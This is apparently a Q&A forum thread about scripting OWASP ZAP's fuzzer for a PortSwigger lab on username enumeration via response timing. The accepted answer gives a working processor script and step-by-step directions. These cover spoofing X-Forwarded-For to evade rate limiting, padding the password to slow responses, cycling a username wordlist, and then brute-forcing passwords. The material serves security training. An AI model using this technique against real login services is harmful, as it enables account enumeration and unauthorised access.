OWASP ZAP fuzzer header and body

1.8k views Asked by At

I'm learning how use OWASP ZAP and I'd like to know how fuzzer at the same time the header and the body in a request using the same payload script. I am trying to do this lab for practise:

https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing

For emulate the pitchfork behavior of Burp suite pro:

ZAP missing payload mode pitchfork

The problem is when I have to fuzzer the header and the body in the same payload. I receive a httpmalformedheaderexpection and the fuzzer doesn't start. This is what I'm trying:

// Auxiliary variables/constants for payload generation.
var INITIAL_VALUE = 1;
var count = INITIAL_VALUE;
var name = ["carlos","root","admin"];
var NUMBER_OF_PAYLOADS = name.length;

/**
 * Returns the number of generated payloads, zero to indicate unknown number.
 * The number is used as a hint for progress calculations.
 * 
 * @return {number} The number of generated payloads.
 */
function getNumberOfPayloads() {
    return NUMBER_OF_PAYLOADS;
}

/**
 * Returns true if there are still payloads to generate, false otherwise.
 * 
 * Called before each call to next().
 * 
 * @return {boolean} If there are still payloads to generate.
 */
function hasNext() {
    return (count <= NUMBER_OF_PAYLOADS);
}

/**
 * Returns the next generated payload.
 * 
 * This method is called while hasNext() returns true.
 * 
 * @return {string} The next generated payload.
 */
function next() {
    payload = count;
    count++;
    return payload + "\r\n\r\n" + "username=asdf&password=1234567890"; //error, not using the names array yet
}

/**
 * Resets the internal state of the payload generator, as if no calls to
 * hasNext() or next() have been previously made.
 * 
 * Normally called once the method hasNext() returns false and while payloads
 * are still needed.
 */
function reset() {
    count = INITIAL_VALUE;
}

/**
 * Releases any resources used for generation of payloads (for example, a file).
 * 
 * Called once the payload generator is no longer needed.
 */
function close() {
}

Fuzz locations:

...
Sec-Fetch-Site: same-origin  
Sec-Fetch-User: ?1  
X-Forwarded-For: FUZZER

Generated payloads:

1

username=asdf&password=123456789
2

username=asdf&password=123456789
3

username=asdf&password=123456789

Any fix/workaround to complete the exercise? Thanks in advance.

Edit with capture

2

There are 2 answers

5
kingthorin On BEST ANSWER

Here's what I'd suggest: Use a Numerzz payload for the X-Forwarded-For payload and use a message processor script to insert the username or password values from an array.

Create a Fuzz HTTP Processor script (in the instructions below it's named timing_1):

// Auxiliary variables/constants needed for processing.
var count = 1;
var TreeSet = Java.type("java.util.TreeSet");
var HtmlParameter = Java.type("org.parosproxy.paros.network.HtmlParameter");
var longpass = "01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789";

function processMessage(utils, message) {
    // Process fuzzed message...
    var iteration = message.getRequestHeader().getHeader("X-Forwarded-For");
    var formParams = new TreeSet();
    formParams.add(new HtmlParameter(HtmlParameter.Type.form, "username", name[iteration]));
    formParams.add(new HtmlParameter(HtmlParameter.Type.form, "password", longpass));
    message.setFormParams(formParams);
}

function processResult(utils, fuzzResult){
    return true;
}

function getRequiredParamsNames(){
    return [];
}

function getOptionalParamsNames(){
    return [];
}

var name = ["carlos",
"root",
"admin",
"test",
"guest",
"info",
"adm",
"mysql",
"user",
"administrator",
"oracle",
"ftp",
"pi",
"puppet",
"ansible",
"ec2-user",
"vagrant",
"azureuser",
"academico",
"acceso",
"access",
"accounting",
"accounts",
"acid",
"activestat",
"ad",
"adam",
"adkit",
"admin",
"administracion",
"administrador",
"administrator",
"administrators",
"admins",
"ads",
"adserver",
"adsl",
"ae",
"af",
"affiliate",
"affiliates",
"afiliados",
"ag",
"agenda",
"agent",
"ai",
"aix",
"ajax",
"ak",
"akamai",
"al",
"alabama",
"alaska",
"albuquerque",
"alerts",
"alpha",
"alterwind",
"am",
"amarillo",
"americas",
"an",
"anaheim",
"analyzer",
"announce",
"announcements",
"antivirus",
"ao",
"ap",
"apache",
"apollo",
"app",
"app01",
"app1",
"apple",
"application",
"applications",
"apps",
"appserver",
"aq",
"ar",
"archie",
"arcsight",
"argentina",
"arizona",
"arkansas",
"arlington",
"as",
"as400",
"asia",
"asterix",
"at",
"athena",
"atlanta",
"atlas",
"att",
"au",
"auction",
"austin",
"auth",
"auto",
"autodiscover"]

Find the login POST related to Peter Wiener The login request to be fuzzed

Select that message to Fuzz (right click Attack > Fuzz...). Edit the message, adding the X-Forwarded-For header and setting the password to a long string: Edited fuzz message

Select the dummy value you’ve set for X-Forwarded-For, add a payload. (Numberzz - 0 to 100, increment 1). [Note: If you have to run this multiple times you may need to adjust the range and perform some simple math on your “iterator” variable in order to get past the X-Forwarded-For control and have the proper array index.] enter image description here

Accept the payload addition dialogs. Goto the “Message Processors” tab. Remove “Payload Reflection Detector” (This isn’t strictly necessary, but we don’t care about reflections in this case so may as well.) Add “timing_1” and move it to the top. Message processors setup

Sort the fuzz results by the RTT (Round Trip Time) column: Sorted fuzz results

Note one of them took noticeably longer (I’ve redacted the username in the request): Relevant fuzz result

Now that you have the username of the relevant user, modify the script slightly (or create a second one) to handle the password payloads.

0
Simon Bennetts On

httpmalformedheaderexpection means that the header created by the fuzzer is invalid and has been rejected by the underlying networking library. You will need to make sure the fuzzer generates valid headers. We are aware of this restriction and are replacing all of the ZAP networking which will fix this problem.